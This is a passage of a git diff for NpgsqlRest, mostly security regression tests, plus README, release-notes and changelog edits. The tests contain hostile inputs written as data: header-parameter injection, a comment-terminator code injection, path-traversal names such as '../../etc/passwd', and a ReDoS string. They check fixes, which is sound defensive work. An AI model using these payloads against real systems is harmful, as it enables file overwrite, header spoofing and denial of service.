File.WriteAllText(Path.Combine(gitDir, "config"), "[remote \"origin\"]\n\turl = https://token@example.com/repo.git\n"); + + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url("/.git/config")); + + response.StatusCode.Should().Be(HttpStatusCode.NotFound); + } + + [Fact] + public async Task Well_known_directory_is_still_served() + { + var wellKnown = Path.Combine(test.WebRootPath, ".well-known"); + Directory.CreateDirectory(wellKnown); + File.WriteAllText(Path.Combine(wellKnown, "security.txt"), "Contact: mailto:security@example.com\n"); + + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url("/.well-known/security.txt")); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("Contact: mailto:security@example.com\n"); + } +} diff --git a/NpgsqlRestTests/TableFormatTests/ExcelTableFormatTests.cs b/NpgsqlRestTests/TableFormatTests/ExcelTableFormatTests.cs index 4a8445c5..a3d49122 100644 --- a/NpgsqlRestTests/TableFormatTests/ExcelTableFormatTests.cs +++ b/NpgsqlRestTests/TableFormatTests/ExcelTableFormatTests.cs @@ -21,6 +21,15 @@ HTTP GET @table_format = excel '; +create function get_excel_table_named(_name text) +returns table (id int) +language sql as $$ select 1 $$; +comment on function get_excel_table_named(text) is ' +HTTP GET +@table_format = excel +excel_file_name = report_{_name} +'; + create function get_excel_table_nulls() returns table (id int, value text) language sql as $$ @@ -74,6 +83,22 @@ public class ExcelTableFormatTests(TestFixture test) { private const string ExcelContentType = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"; + /// + /// Security regression: a request value in excel_file_name cannot add Content-Disposition parameters. A quote used + /// to end the quoted filename, so filename*= could choose the saved file's name and extension. + /// + [Fact] + public async Task Test_excel_file_name_from_request_cannot_inject_header_parameters() + { + var name = Uri.EscapeDataString("x\"; filename*=UTF-8''evil.html; y=\""); + using var result = await test.Client.GetAsync($"/api/get-excel-table-named/?name={name}"); + + result.StatusCode.Should().Be(HttpStatusCode.OK); + result.Content.Headers.ContentDisposition!.ToString().Should().Be( + "attachment; filename=\"report_x_; filename*=UTF-8''evil.html; y=_.xlsx\"; filename*=UTF-8''report_x_%3B%20filename%2A%3DUTF-8%27%27evil.html%3B%20y%3D_.xlsx"); + result.Content.Headers.ContentDisposition.FileNameStar.Should().Be("report_x_; filename*=UTF-8''evil.html; y=_.xlsx"); + } + [Fact] public async Task Test_excel_table_basic() { diff --git a/NpgsqlRestTests/TsClientTests/CommentTerminatorTests.cs b/NpgsqlRestTests/TsClientTests/CommentTerminatorTests.cs new file mode 100644 index 00000000..342bdf86 --- /dev/null +++ b/NpgsqlRestTests/TsClientTests/CommentTerminatorTests.cs @@ -0,0 +1,66 @@ +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void TsClientCommentTerminatorTests() + { + script.Append(""" +create schema if not exists tsclient_test; +create function tsclient_test.comment_terminator() +returns void +language sql +as $$ +select null; +$$; +comment on function tsclient_test.comment_terminator() is ' +tsclient_module=comment_terminator +Ends early */ export const injected = 1; /* +'; +"""); + } + } +} + +namespace NpgsqlRestTests.TsClientTests +{ + /// + /// A "*/" in a routine comment (or, with CommentHeader Full, a /* */ comment in its body) is escaped inside the + /// generated JSDoc block. It used to end the block early, so the rest of the line became TypeScript code. + /// + [Collection("TestFixture")] + public class CommentTerminatorTests + { + private const string Expected = """ +const baseUrl = ""; + + +/** +* function tsclient_test.comment_terminator() +* returns void +* +* @remarks +* comment on function tsclient_test.comment_terminator is 'tsclient_module=comment_terminator +* Ends early *\/ export const injected = 1; /*'; +* +* @returns {void} +* +* @see FUNCTION tsclient_test.comment_terminator +*/ +export async function tsclientTestCommentTerminator() : Promise { + await fetch(baseUrl + "/api/tsclient-test/comment-terminator", { + method: "POST", + }); +} + + +"""; + + [Fact] + public void Test_CommentTerminator_GeneratedFile() + { + var filePath = Path.Combine(Setup.Program.TsClientOutputPath, "comment_terminator.ts"); + var content = File.ReadAllText(filePath); + content.Should().Be(Expected); + } + } +} diff --git a/NpgsqlRestTests/TsClientTests/ProxyPassthroughResponseTests.cs b/NpgsqlRestTests/TsClientTests/ProxyPassthroughResponseTests.cs index 9603c999..d0a726db 100644 --- a/NpgsqlRestTests/TsClientTests/ProxyPassthroughResponseTests.cs +++ b/NpgsqlRestTests/TsClientTests/ProxyPassthroughResponseTests.cs @@ -17,6 +17,19 @@ HTTP GET proxy tsclient_module=proxy_passthrough_response '; + +create function tsclient_test.proxy_passthrough_status() +returns void +language sql +as $$ +select null; +$$; +comment on function tsclient_test.proxy_passthrough_status() is ' +HTTP GET +proxy +tsclient_module=proxy_passthrough_response_status +tsclient_status_code=true +'; """); } } @@ -38,5 +51,20 @@ public void Test_ProxyPassthroughResponse_GeneratedFile() var content = File.ReadAllText(filePath); content.Should().Be(Expected); } + + // Regression: with status codes included (the npgsqlrest client default) the function was declared as + // Promise> while it returns the fetch Response itself, which does not type-check. + [Fact] + public void Test_ProxyPassthroughResponse_WithStatusCode_StillReturnsResponse() + { + var filePath = Path.Combine(Setup.Program.TsClientOutputPath, "proxy_passthrough_response_status.ts"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + + var content = File.ReadAllText(filePath); + content.Should().Contain("export async function tsclientTestProxyPassthroughStatus() : Promise {"); + content.Should().Contain("* @returns {Response}"); + content.Should().Contain(" return response;"); + content.Should().NotContain(">"); + } } } diff --git a/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs b/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs index b11e0f0d..7dfe3f98 100644 --- a/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs +++ b/NpgsqlRestTests/TsClientTests/QueryMethodTests.cs @@ -10,7 +10,7 @@ public static void TsClientQueryMethodTests() -- The HTTP QUERY method (safe + idempotent, carries the query in the request body): -- parameters default to the JSON body, generators emit method QUERY with a body, -- ReactQuery hooks treat it as a query (useQuery), and OpenAPI 3.0/3.1 skips it --- (no `query` path item key until OpenAPI 3.2). +-- (no `query` path item key until OpenAPI 3.2; SpecVersion "3.2" documents it, see SpecVersion32Tests). create function tsclient_test.query_search(_q text, _top int default 3) returns text language sql diff --git a/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs b/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs new file mode 100644 index 00000000..6c1ee644 --- /dev/null +++ b/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs @@ -0,0 +1,284 @@ +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void TsClientResponseShapeTests() + { + script.Append(""" +create schema if not exists tsclient_test; + +create function tsclient_test.shape_raw() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_raw() is ' +tsclient_module=shape +raw +separator ,'; + +create function tsclient_test.shape_void() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_void() is ' +tsclient_module=shape +@void'; + +create function tsclient_test.shape_html() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_html() is ' +tsclient_module=shape +@table_format = html'; + +create function tsclient_test.shape_bytes() returns bytea language sql as $$ select 'abc'::bytea $$; +comment on function tsclient_test.shape_bytes() is ' +tsclient_module=shape'; + +create function tsclient_test.shape_cached() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_cached() is ' +tsclient_module=shape +cached'; + +create function tsclient_test.shape_upload(_meta json = null) returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_upload(json) is ' +tsclient_module=shape +upload for file_system +param _meta is upload metadata'; +"""); + } + } +} + +namespace NpgsqlRestTests.TsClientTests +{ + // What the generated functions return, for endpoints that do not answer with the routine's rows as JSON. + // https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + [Collection("TestFixture")] + public class ResponseShapeTests + { + private const string Expected = """ +const baseUrl = ""; +const parseQuery = (query: Record) => "?" + Object.keys(query ? query : {}) + .map(key => { + const value = (query[key] != null ? query[key] : "") as string; + if (Array.isArray(value)) { + return value.map((s: string) => s ? `${key}=${encodeURIComponent(s)}` : `${key}=`).join("&"); + } + return `${key}=${encodeURIComponent(value)}`; + }) + .join("&"); + +interface ITsclientTestShapeCachedResponse { + a: number | null; + b: string | null; +} + +interface ITsclientTestShapeUploadRequest { + meta?: any | null; +} + + +/** +* function tsclient_test.shape_bytes() +* returns bytea +* +* @remarks +* comment on function tsclient_test.shape_bytes is 'tsclient_module=shape +* +* @returns {Response} +* +* @see FUNCTION tsclient_test.shape_bytes +*/ +export async function tsclientTestShapeBytes() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-bytes", { + method: "POST", + }); + return response; +} + +/** +* function tsclient_test.shape_cached() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_cached is 'tsclient_module=shape +* cached'; +* +* @returns {ITsclientTestShapeCachedResponse[]} +* +* @see FUNCTION tsclient_test.shape_cached +*/ +export async function tsclientTestShapeCached() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-cached", { + method: "POST", + headers: { + "Content-Type": "application/json" + }, + }); + return await response.json() as ITsclientTestShapeCachedResponse[]; +} + +/** +* function tsclient_test.shape_cached() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_cached is 'tsclient_module=shape +* cached'; +* +* @returns { invalidated: boolean } +* +* @see FUNCTION tsclient_test.shape_cached +*/ +export async function tsclientTestShapeCachedInvalidate() : Promise<{ invalidated: boolean }> { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-cached/invalidate", { + method: "POST", + }); + return await response.json() as { invalidated: boolean }; +} + +/** +* function tsclient_test.shape_html() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_html is 'tsclient_module=shape +* table_format = html'; +* +* @returns {Response} +* +* @see FUNCTION tsclient_test.shape_html +*/ +export async function tsclientTestShapeHtml() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-html", { + method: "POST", + }); + return response; +} + +/** +* function tsclient_test.shape_raw() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_raw is 'tsclient_module=shape +* raw +* separator ,'; +* +* @returns {string} +* +* @see FUNCTION tsclient_test.shape_raw +*/ +export async function tsclientTestShapeRaw() : Promise { + const response = await fetch(baseUrl + "/api/tsclient-test/shape-raw", { + method: "POST", + }); + return await response.text(); +} + +/** +* function tsclient_test.shape_upload( +* _meta json DEFAULT NULL::json +* ) +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_upload is 'tsclient_module=shape +* upload for file_system +* param _meta is upload metadata'; +* +* @param request - Object containing request parameters. +* @returns {any} +* +* @see FUNCTION tsclient_test.shape_upload +*/ +export async function tsclientTestShapeUpload( + files: FileList | null, + request: ITsclientTestShapeUploadRequest, + progress?: (loaded: number, total: number) => void, +): Promise { + return new Promise((resolve, reject) => { + if (!files || files.length === 0) { + reject(new Error("No files to upload")); + return; + } + var xhr = new XMLHttpRequest(); + if (progress) { + xhr.upload.addEventListener( + "progress", + (event) => { + if (event.lengthComputable && progress) { + progress(event.loaded, event.total); + } + }, + false + ); + } + xhr.onload = function () { + if (this.status >= 200 && this.status < 300) { + resolve(JSON.parse(this.responseText) as any); + } else { + throw new Error(this.responseText); + } + }; + xhr.onerror = function () { + reject({ + xhr: this, + status: this.status, + statusText: this.statusText || 'Network error occurred', + response: this.response + }); + }; + xhr.open("POST", baseUrl + "/api/tsclient-test/shape-upload" + parseQuery(request)); + const formData = new FormData(); + for(let i = 0; i < files.length; i++) { + const file = files[i]; + formData.append("file", file, file.name); + } + xhr.send(formData); + }); +} + +/** +* function tsclient_test.shape_void() +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_void is 'tsclient_module=shape +* void'; +* +* @returns {void} +* +* @see FUNCTION tsclient_test.shape_void +*/ +export async function tsclientTestShapeVoid() : Promise { + await fetch(baseUrl + "/api/tsclient-test/shape-void", { + method: "POST", + }); +} + + +"""; + + [Fact] + public void Test_ResponseShape_GeneratedFile() + { + var filePath = Path.Combine(Setup.Program.TsClientOutputPath, "shape.ts"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + + var content = File.ReadAllText(filePath); + content.Should().Be(Expected); + } + } +} diff --git a/NpgsqlRestTests/UploadTests/CsvRowCommandPlaceholderTests.cs b/NpgsqlRestTests/UploadTests/CsvRowCommandPlaceholderTests.cs new file mode 100644 index 00000000..328d4236 --- /dev/null +++ b/NpgsqlRestTests/UploadTests/CsvRowCommandPlaceholderTests.cs @@ -0,0 +1,51 @@ +using System.Net.Http.Headers; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void CsvRowCommandPlaceholderTests() + { + script.Append(@" +create table csv_rc_placeholder_table (tag text); + +create procedure csv_rc_placeholder_row(_index int, _row text[], _tag text) +language sql as $$ insert into csv_rc_placeholder_table (tag) values (_tag) $$; + +create function csv_rc_placeholder_upload(_tag text = null, _meta json = null) +returns text +language sql as $$ + with removed as (delete from csv_rc_placeholder_table returning tag) + select string_agg(tag, ',') from removed +$$; + +comment on function csv_rc_placeholder_upload(text, json) is ' +HTTP POST +upload for csv +param _meta is upload metadata +row_command = call csv_rc_placeholder_row($1,$2,''{_tag}'') +'; +"); + } +} + +/// +/// Security regression: {placeholders} are never substituted into an upload row_command, which is SQL text. They used +/// to be replaced with the raw request value - SQL injection for any row_command that referenced a parameter. +/// +[Collection("TestFixture")] +public class CsvRowCommandPlaceholderTests(TestFixture test) +{ + [Fact] + public async Task Request_value_is_not_inserted_into_row_command_sql() + { + using var formData = new MultipartFormDataContent(); + using var byteContent = new ByteArrayContent(Encoding.UTF8.GetBytes("1,a\n")); + byteContent.Headers.ContentType = new MediaTypeHeaderValue("text/csv"); + formData.Add(byteContent, "file", "rows.csv"); + + using var result = await test.Client.PostAsync("/api/csv-rc-placeholder-upload/?tag=from-request", formData); + result.StatusCode.Should().Be(HttpStatusCode.OK); + (await result.Content.ReadAsStringAsync()).Should().Be("{_tag}"); + } +} diff --git a/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs b/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs index 56db1b85..8caa6d13 100644 --- a/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs +++ b/NpgsqlRestTests/UploadTests/ExcelUploadTests.cs @@ -642,6 +642,34 @@ public async Task Test_excel_fallback_to_csv() idx.Should().Be(2); } + [Fact] + public async Task Test_excel_and_csv_in_one_request_with_a_fallback_answers() + { + // "upload for excel" with "fallback_handler = csv", and a request that carries an Excel file and a CSV + // file. The Excel handler hands the request to the CSV handler because of the CSV file; the CSV handler + // has the same fallback_handler and handed the request to itself because of the Excel file, without end: + // the stack overflowed and the server process ended. + using var formData = new MultipartFormDataContent(); + using var excel = LoadTestFile("test-excel-simple.xlsx"); + formData.Add(excel, "file", "test-excel-simple.xlsx"); + using var csv = new ByteArrayContent(System.Text.Encoding.UTF8.GetBytes("20,Item 20,1\n21,Item 21,2\n")); + csv.Headers.ContentType = new MediaTypeHeaderValue("text/csv"); + formData.Add(csv, "file2", "more.csv"); + + using var result = await test.Client.PostAsync("/api/excel-fallback-excel-ok-upload/", formData); + var response = await result.Content.ReadAsStringAsync(); + result.StatusCode.Should().Be(HttpStatusCode.OK, response); + + // the request was handed over once, to the CSV handler: it takes the CSV file and refuses the Excel file + var files = JsonDocument.Parse(response).RootElement.EnumerateArray().ToList(); + files.Select(f => $"{f.GetProperty("type").GetString()} {f.GetProperty("fileName").GetString()} {f.GetProperty("success").GetBoolean()} {f.GetProperty("status").GetString()}") + .Should().Equal("csv test-excel-simple.xlsx False ProbablyBinary", "csv more.csv True Ok"); + + // and the server is still there + using var again = await test.Client.PostAsync("/api/excel-fallback-excel-ok-upload/", new MultipartFormDataContent { { LoadTestFile("test-excel-simple.xlsx"), "file", "test-excel-simple.xlsx" } }); + again.StatusCode.Should().Be(HttpStatusCode.OK); + } + [Fact] public async Task Test_excel_fallback_endpoint_still_handles_excel() { diff --git a/NpgsqlRestTests/UploadTests/FileSystemUploadTraversalTests.cs b/NpgsqlRestTests/UploadTests/FileSystemUploadTraversalTests.cs new file mode 100644 index 00000000..ee68a3b1 --- /dev/null +++ b/NpgsqlRestTests/UploadTests/FileSystemUploadTraversalTests.cs @@ -0,0 +1,127 @@ +using System.Net.Http.Headers; +using NpgsqlRest.UploadHandlers.Handlers; + +namespace NpgsqlRestTests; + +/// +/// Security regression: file system uploads must never write outside the upload directory - not through the client's +/// multipart file name, and not through "path" / "file" values templated from request parameters. +/// Uses fs_custom_parameter_upload and fs_upload1 from FileSystemUploadTests. +/// +[Collection("TestFixture")] +public class FileSystemUploadTraversalTests(TestFixture test) +{ + private static MultipartFormDataContent Form(string fileName, string content) + { + var form = new MultipartFormDataContent(); + var bytes = new ByteArrayContent(Encoding.UTF8.GetBytes(content)); + bytes.Headers.ContentType = new MediaTypeHeaderValue("text/csv"); + form.Add(bytes, "file", fileName); + return form; + } + + private static (string status, bool success, string? filePath) Result(string json) + { + var item = JsonDocument.Parse(json).RootElement[0]; + var filePath = item.GetProperty("filePath"); + return (item.GetProperty("status").GetString()!, item.GetProperty("success").GetBoolean(), + filePath.ValueKind == JsonValueKind.Null ? null : filePath.GetString()); + } + + [Fact] + public async Task Templated_file_name_with_parent_segments_is_rejected() + { + var escaped = Path.GetFullPath("./escaped-by-file-param.csv"); + File.Delete(escaped); + using var form = Form("data.csv", "a,b\n1,2\n"); + var query = new QueryBuilder { { "path", "./test" }, { "file", "../escaped-by-file-param.csv" }, { "uniqueName", "false" }, { "createPath", "true" } }; + + using var response = await test.Client.PostAsync($"/api/fs-custom-parameter-upload/{query}", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + Result(await response.Content.ReadAsStringAsync()).Should().Be(("InvalidFileName", false, (string?)null)); + File.Exists(escaped).Should().BeFalse(); + } + + [Fact] + public async Task Templated_absolute_file_name_is_rejected() + { + var target = Path.Combine(Path.GetTempPath(), "npgsqlrest-absolute-upload.csv"); + File.Delete(target); + using var form = Form("data.csv", "a,b\n1,2\n"); + var query = new QueryBuilder { { "path", "./test" }, { "file", target }, { "uniqueName", "false" }, { "createPath", "true" } }; + + using var response = await test.Client.PostAsync($"/api/fs-custom-parameter-upload/{query}", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + Result(await response.Content.ReadAsStringAsync()).Should().Be(("InvalidFileName", false, (string?)null)); + File.Exists(target).Should().BeFalse(); + } + + [Fact] + public async Task Templated_upload_path_with_parent_segments_is_rejected() + { + var outside = Path.GetFullPath("../npgsqlrest-upload-outside"); + if (Directory.Exists(outside)) + { + Directory.Delete(outside, recursive: true); + } + using var form = Form("data.csv", "a,b\n1,2\n"); + var query = new QueryBuilder { { "path", "../npgsqlrest-upload-outside" }, { "file", "data.csv" }, { "uniqueName", "false" }, { "createPath", "true" } }; + + using var response = await test.Client.PostAsync($"/api/fs-custom-parameter-upload/{query}", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + Result(await response.Content.ReadAsStringAsync()).Should().Be(("InvalidFileName", false, (string?)null)); + Directory.Exists(outside).Should().BeFalse(); + } + + [Fact] + public async Task Client_file_name_is_reduced_to_its_last_segment() + { + var escaped = Path.GetFullPath("../../client-escape-test.csv"); + File.Delete(escaped); + File.Delete("./client-escape-test.csv"); + using var form = Form("../../client-escape-test.csv", "a,b\n1,2\n"); + + using var response = await test.Client.PostAsync("/api/fs-upload1/", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + var (status, success, filePath) = Result(await response.Content.ReadAsStringAsync()); + (status, success).Should().Be(("Ok", true)); + filePath.Should().BeOneOf("./client-escape-test.csv", ".\\client-escape-test.csv"); + File.Exists("./client-escape-test.csv").Should().BeTrue(); + File.Exists(escaped).Should().BeFalse(); + File.Delete("./client-escape-test.csv"); + } + + [Theory] + [InlineData(null, "report.csv", false, "uploads/report.csv")] + [InlineData(null, "../../etc/passwd", false, "uploads/passwd")] + [InlineData(null, "..\\..\\windows\\win.ini", false, "uploads/win.ini")] + [InlineData(null, "C:\\Users\\me\\report.csv", false, "uploads/report.csv")] + [InlineData(null, "..", false, null)] + [InlineData(null, "", false, null)] + [InlineData("sub/report.csv", "x.csv", false, "uploads/sub/report.csv")] + [InlineData("../report.csv", "x.csv", false, null)] + [InlineData("sub/../../report.csv", "x.csv", false, null)] + [InlineData("/etc/report.csv", "x.csv", false, null)] + public void Resolves_only_paths_inside_the_upload_directory(string? configured, string client, bool unique, string? expected) + { + var resolved = FileSystemUploadHandler.ResolveSafeFilePath("uploads", configured, client, unique); + resolved?.Replace('\\', '/').Should().Be(expected); + if (expected is null) + { + resolved.Should().BeNull(); + } + } + + [Fact] + public void Unique_name_keeps_only_the_extension() + { + var resolved = FileSystemUploadHandler.ResolveSafeFilePath("uploads", null, "../../evil.csv", useUniqueFileName: true); + resolved.Should().NotBeNull(); + Path.GetDirectoryName(resolved).Should().Be("uploads"); + Path.GetExtension(resolved).Should().Be(".csv"); + } +} diff --git a/NpgsqlRestTests/ValidationTests/RegexValidationPerformanceTests.cs b/NpgsqlRestTests/ValidationTests/RegexValidationPerformanceTests.cs new file mode 100644 index 00000000..32419a49 --- /dev/null +++ b/NpgsqlRestTests/ValidationTests/RegexValidationPerformanceTests.cs @@ -0,0 +1,51 @@ +using System.Diagnostics; + +namespace NpgsqlRestTests.ValidationTests; + +/// +/// Security regression: Regex validation rules run on request values in linear time (or are cut off by a match +/// timeout). The built-in email rule used to take quadratic time on crafted input: "a@" followed by many dots and a +/// space took ~0.7 s at 40 KB and grew 4x for every doubling. +/// +public class RegexValidationPerformanceTests +{ + private static readonly ValidationRule Email = new ValidationOptions().Rules["email"]; + + [Fact] + public void Email_rule_still_matches_as_before() + { + Email.GetRegex()!.IsMatch("user@example.com").Should().BeTrue(); + Email.GetRegex()!.IsMatch("not-an-email").Should().BeFalse(); + Email.GetRegex()!.IsMatch("a b@example.com").Should().BeFalse(); + Email.GetRegex()!.IsMatch("user@localhost").Should().BeFalse(); + } + + [Fact] + public void Email_rule_is_linear_on_crafted_input() + { + var input = "a@" + new string('.', 400_000) + " "; + var sw = Stopwatch.StartNew(); + Email.GetRegex()!.IsMatch(input).Should().BeFalse(); + sw.Elapsed.Should().BeLessThan(TimeSpan.FromSeconds(1)); // backtracking: over a minute + } + + [Fact] + public void Pattern_the_linear_engine_cannot_run_falls_back_with_a_timeout() + { + var rule = new ValidationRule { Type = ValidationType.Regex, Pattern = @"^(a+)+\1$" }; // backreference + var regex = rule.GetRegex()!; + regex.Options.Should().NotHaveFlag(System.Text.RegularExpressions.RegexOptions.NonBacktracking); + regex.MatchTimeout.Should().Be(ValidationRule.RegexMatchTimeout); + regex.IsMatch("aaaa").Should().BeTrue(); + } + + [Fact] + public void Changing_the_pattern_rebuilds_the_regex() + { + var rule = new ValidationRule { Type = ValidationType.Regex, Pattern = "^a$" }; + rule.GetRegex()!.IsMatch("a").Should().BeTrue(); + rule.Pattern = "^b$"; + rule.GetRegex()!.IsMatch("a").Should().BeFalse(); + rule.GetRegex()!.IsMatch("b").Should().BeTrue(); + } +} diff --git a/README.md b/README.md index a2b1a7a9..7f9e844e 100644 --- a/README.md +++ b/README.md @@ -10,11 +10,11 @@ # Your SQL is the API -**Automatic REST API for PostgreSQL** | [6.1x faster than PostgREST](https://npgsqlrest.github.io/blog/postgresql-rest-api-benchmark-2026.html) +**Automatic REST API for PostgreSQL** | [2.7x faster than PostgREST, #2 of 20 services benchmarked](https://npgsqlrest.github.io/blog/benchmarks-2026-07/) > SQL files and PostgreSQL objects become REST endpoints. TypeScript clients are generated automatically. Tests are SQL files too. -**4,500+ req/s** on a single host · **2,484 integration tests** · **12K LOC SQL** in production · **MIT** licensed +**3,500+ req/s** on 4 dedicated cores · **2,484 integration tests** · **12K LOC SQL** in production · **MIT** licensed *"Simplicity is the ultimate sophistication."* — Leonardo da Vinci @@ -162,7 +162,7 @@ Save a `.sql` file and the running API restarts with the change (~1s). `create o - **TypeScript/JS code generation** and `.http` files — types flow from PostgreSQL to your frontend, with optional **TanStack Query (React Query) v5 hooks** (`useQuery`/`useMutation` + query-key factories) - **Dart client generation** — typed Flutter clients on `package:http`: request/response models with `fromJson`/`toJson`, multipart uploads with progress, SSE subscriptions, `MockClient` testability - **AOT-compiled native binaries** — zero dependencies, instant startup -- [**6.1x faster than PostgREST**](https://npgsqlrest.github.io/blog/postgresql-rest-api-benchmark-2026.html) at 100 concurrent users +- [**2.7x faster than PostgREST**](https://npgsqlrest.github.io/blog/benchmarks-2026-07/npgsqlrest.html) at 100 concurrent users — #2 of 20 services in the July 2026 benchmark, ahead of hand-written .NET endpoints on the same driver by 50%+ - **50+ comment annotations** — `@authorize`, `@param`, `@returns`, `@void`, `@single`, `@result`, `@skip`, `@cached`, `@proxy`, and more - **Auth** — cookie auth, Basic auth, JWT claims, role-based access, `@authorize`, `@allow_anonymous` - **Column-level encryption**, security-sensitive endpoints, IP address binding @@ -184,7 +184,7 @@ Save a `.sql` file and the running API restarts with the change (~1s). `create o ## From the Blog - [**Case Study: 74 Endpoints, Zero Backend Code**](https://npgsqlrest.github.io/blog/case-study-zero-backend-code) — A production app built entirely on NpgsqlRest: ~74 endpoints, 12K LOC of SQL, zero C# or Python. -- [**PostgreSQL REST API Benchmark 2026**](https://npgsqlrest.github.io/blog/postgresql-rest-api-benchmark-2026) — 14 frameworks, identical PostgreSQL functions: NpgsqlRest vs PostgREST, Django, FastAPI, Spring Boot, Go, Rust, and more. +- [**PostgreSQL REST API Benchmark, July 2026**](https://npgsqlrest.github.io/blog/benchmarks-2026-07/) — 20 services, 760 tests under equalized conditions: NpgsqlRest vs PostgREST, FastAPI, Go, Rust, Spring Boot, Bun, Deno, and more. - [**From SQL to Type-Safe TypeScript**](https://npgsqlrest.github.io/blog/typescript-codegen-walkthrough) — End-to-end type safety: typed fetch modules generated directly from PostgreSQL functions and SQL files. ## Documentation diff --git a/RELEASING.md b/RELEASING.md index 80548ea7..5b5f5afe 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -14,7 +14,7 @@ The complete release procedure. Written so that someone who has never cut a rele ## Release checklist -1. **Finish the changelog**: `changelog/v.md` must exist — the release notes are extracted from it verbatim (title line is skipped). Cover: headline, new features, breaking changes (⚠️), fixes, tests. +1. **Finish the changelog**: `changelog/v.md` must exist. The GitHub release description is built from it: its opening paragraphs (everything before the first `### ` section), followed by links to the full changelog and the install commands. The whole changelog is not copied into the release (GitHub limits a description to 125,000 characters, and the text would be there twice). So the paragraphs at the top should say what the release is. Cover in the file: headline, new features, breaking changes (⚠️), fixes, tests. 2. **Bump the version**: edit `version.txt` (e.g. `3.18.0`). Nothing else needs editing. Sanity check locally: ```sh dotnet pack NpgsqlRest/NpgsqlRest.csproj -c Release -o /tmp/packcheck # expect NpgsqlRest..nupkg @@ -24,7 +24,7 @@ The complete release procedure. Written so that someone who has never cut a rele 5. **Merge/push to `master`.** That's the trigger. The workflow then automatically: - builds + runs the full test suite (PostgreSQL 17 service container), - publishes all `.nupkg` to NuGet (`--skip-duplicate`), - - creates the GitHub release `v` with notes from `changelog/v.md`, + - creates the GitHub release `v` with a short description (the changelog's opening paragraphs, links, install commands), - builds AOT binaries: win-x64, linux-x64 (+ **smoke test**: `--version` + `--validate` against a live PostgreSQL), linux-arm64, osx-arm64 — and uploads them as release assets together with `appsettings.json`, - builds + pushes Docker images: `vbilopav/npgsqlrest:{v,latest}{,-aot,-jit,-arm,-bun}`, - publishes the npm package (version synced from `version.txt`, OIDC trusted publishing). @@ -40,14 +40,14 @@ The complete release procedure. Written so that someone who has never cut a rele | Secret | Used by | |---|---| -| `NUGET_API_KEY` | NuGet publish | +| (NuGet: trusted publishing — no key; a policy on nuget.org for owner `vbilopav` trusts repository `NpgsqlRest/NpgsqlRest`, workflow file `build-test-publish.yml`) | NuGet publish | | `DOCKER_HUB_USERNAME` / `DOCKER_HUB_TOKEN` | Docker Hub push | | (npm: OIDC trusted publishing — no token; configured on npmjs.com for the `npgsqlrest` package) | npm publish | ## CI overview - **`test.yml`** — runs on every push/PR to non-master branches: build + full suite on a **PostgreSQL 15/16/17 matrix**. -- **`build-test-publish.yml`** — runs on push/PR to `master`: the full release pipeline above. ⚠️ Note: it runs on `pull_request` to master too — the NuGet publish step is effectively a no-op there (secrets are not exposed to fork PRs), but be aware when reviewing runs. +- **`build-test-publish.yml`** — runs on push to `master` (and when started by hand with `workflow_dispatch`): the full release pipeline above. It publishes: do not start it by hand from a branch that is not ready to release. ## Hotfix procedure diff --git a/changelog/v4.0.0.md b/changelog/v4.0.0.md new file mode 100644 index 00000000..006d7a34 --- /dev/null +++ b/changelog/v4.0.0.md @@ -0,0 +1,1230 @@ +# Changelog v4.0.0 + +## Version [4.0.0](https://github.com/NpgsqlRest/NpgsqlRest/tree/4.0.0) (2026-11-20) + +[Full Changelog](https://github.com/NpgsqlRest/NpgsqlRest/compare/3.21.0...4.0.0) + +**This is a major version.** The number went from 3.21 to 4.0 because this release contains breaking changes: security fixes that change how logins, `authorize`, proxies, antiforgery and uploads behave, and a move of the `npgsqlrest` executable to .NET 11. Read the [upgrade notes](#upgrade-notes-read-this-first) before upgrading; most applications need no change, and the ones that do will find it there. (During development this release was called 3.22.0.) + +This release moves NpgsqlRest to **.NET 11** (the library and plugins also keep supporting .NET 10) and is a **security release**. A full review of the codebase found several vulnerabilities, including one critical issue in password login. **Everyone should upgrade.** Some security fixes change behavior that applications may rely on. Each is described below, with what to check before upgrading. + +It is also a **performance release**. Compared with 3.21.0, NpgsqlRest serves 21–24% more row requests per second with 28–36% less CPU and a half to a quarter of the 